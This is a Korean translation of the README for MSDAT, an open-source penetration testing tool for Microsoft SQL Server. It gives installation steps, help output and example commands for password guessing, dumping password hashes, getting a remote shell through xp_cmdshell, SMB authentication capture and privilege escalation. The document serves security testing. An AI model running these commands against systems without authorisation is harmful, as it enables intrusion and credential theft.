
MSDAT: Microsoft SQL 데이터베이스 공격 도구
| Quentin HARDY |
|---|
| [email protected] |
| [email protected] |
MSDAT(Microsoft SQL Database Attacking Tool)은 원격으로 Microsoft SQL 데이터베이스의 보안을 테스트하는 오픈 소스 침투 테스트 도구입니다.
MSDAT 사용 예시:
Microsoft SQL 데이터베이스 2005, 2008, 2012, 2014, 2016 및 __2019__에서 테스트되었습니다.
MSDAT(Microsoft SQL Database Attacking Tool)을 사용하면 (포괄적이지 않은 목록):
MSDAT를 실행하려면 몇 가지 종속성이 설치되어야 합니다.
Ubuntu에서:
sudo apt-get install freetds-dev
또는 http://www.freetds.org/에서 freetds를 다운로드하세요.
Python 종속성 설치:
sudo pip3 install -r requirements.txt
sudo activate-global-python-argcomplete
또는
sudo pip3 install cython colorlog termcolor pymssql argparse python-libnmap
sudo pip3 install argcomplete && sudo activate-global-python-argcomplete
freetds 설정 파일(예: /etc/freetds/freetds.conf 또는 /usr/local/etc/freetds.conf)에 "use ntlmv2 = yes"를 추가하세요.
예:
[global]
# TDS 프로토콜 버전
tds version = 8.0
use ntlmv2 = yes
python3 msdat.py -h 2 ⨯
usage: msdat.py [-h] [--version]
{all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner}
...
_ _ __ __ _ ___
| \_/ |/ _|| \ / \|_ _|
| \_/ |\_ \| o ) o || |
|_| |_||__/|__/|_n_||_|
------------------------------------------------------
_ _ __ __ _ ___
| \_/ |/ _| | \ / \ |_ _|
| \_/ |\_ \ | o ) o | | |
|_| |_||__/icrosoft |__/atabase |_n_|ttacking |_|ool
-------------------------------------------------------
By Quentin Hardy ([email protected])
positional arguments:
{all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner}
주 명령어를 선택하세요
all 가능한 작업을 확인하기 위해 모든 모듈을 실행합니다
mssqlinfo 인증 없이 정보를 가져옵니다
passwordguesser 유효한 자격 증명을 알아냅니다
passwordstealer 해시된 비밀번호를 가져옵니다
xpcmdshell 셸을 얻습니다
jobs 시스템 명령을 실행합니다
smbauthcapture SMB 인증을 캡처합니다
oleautomation 파일을 읽고 쓰고 시스템 명령을 실행합니다
bulkopen 파일을 읽고 포트를 스캔합니다
xpdirectory 파일/드라이브를 나열하고 디렉토리를 생성합니다
trustworthype trustworthy 데이터베이스 방법으로 sysadmin이 됩니다
userlikepwd DB에 저장된 각 MSSQL 사용자 이름을 해당 비밀번호로 시도합니다
search 열 이름에서 검색합니다
cleaner 로컬 추적을 정리합니다
optional arguments:
-h, --help 이 도움말 메시지를 표시하고 종료합니다
--version 프로그램의 버전 번호를 표시하고 종료합니다
./msdat.py -h
./msdat.py all -h
--test-module 옵션을 사용하여 특정 모듈을 MSSQL 서버에서 사용할 수 있는지 확인할 수 있습니다. 이 옵션은 각 mdat 모듈에 구현되어 있습니다.
all 모듈은 제공한 옵션에 따라 모든 모듈을 실행할 수 있습니다.
python msdat.py all -s $SERVER
원한다면:
./msdat.py all -s $SERVER -p $PORT --accounts-file accounts.txt --login-timeout 10 --force-retry
각 모듈에서 --charset 옵션으로 사용할 문자 집합을 정의할 수 있습니다.
인증 없이 원격 MSSQL 서버의 기술 정보를 얻으려면:
./msdat.py mssqlinfo -s $SERVER -p $PORT --get-max-info
이 모듈은 정보를 얻기 위해 TDS 프로토콜과 SQL 브라우저 서버를 사용합니다.
이 모듈을 사용하면 유효한 자격 증명을 검색할 수 있습니다:
./msdat.py passwordguesser -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --force-retry --search
--force-retry 옵션을 사용하면 각 사용자에 대해 여러 비밀번호를 묻지 않고 테스트할 수 있습니다.
--accounts-file 옵션으로 자신만의 계정 파일을 지정할 수 있습니다:
./msdat.py passwordguesser -s $SERVER -p $PORT --search --accounts-file accounts.txt --force-retry
해시된 비밀번호를 덤프하려면:
./msdat.py passwordstealer -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --dump --save-to-file test.txt
이 모듈은 SQL Server 2000, 2005, 2008 및 2014에서 테스트되었습니다.
xp_cmdshell (https://msdn.microsoft.com/en-us/library/ms190693.aspx)을 이용한 시스템 명령 실행:
./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --shell
위 명령은 원격 데이터베이스 서버에서 대화형 셸을 제공합니다.
xp_cmdshell이 활성화되어 있지 않으면 이 모듈에서 --enable-xpcmdshell을 사용하여 활성화할 수 있습니다:
./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --enable-xpcmdshell --disable-xpcmdshell --disable-xpcmdshell --shell
--enable-xpcmdshell 옵션은 xp_cmdshell이 활성화되어 있지 않은 경우 활성화합니다(기본적으로 비활성화됨).
--disable-xpcmdshell 옵션은 xp_cmdshell이 활성화된 경우 비활성화합니다.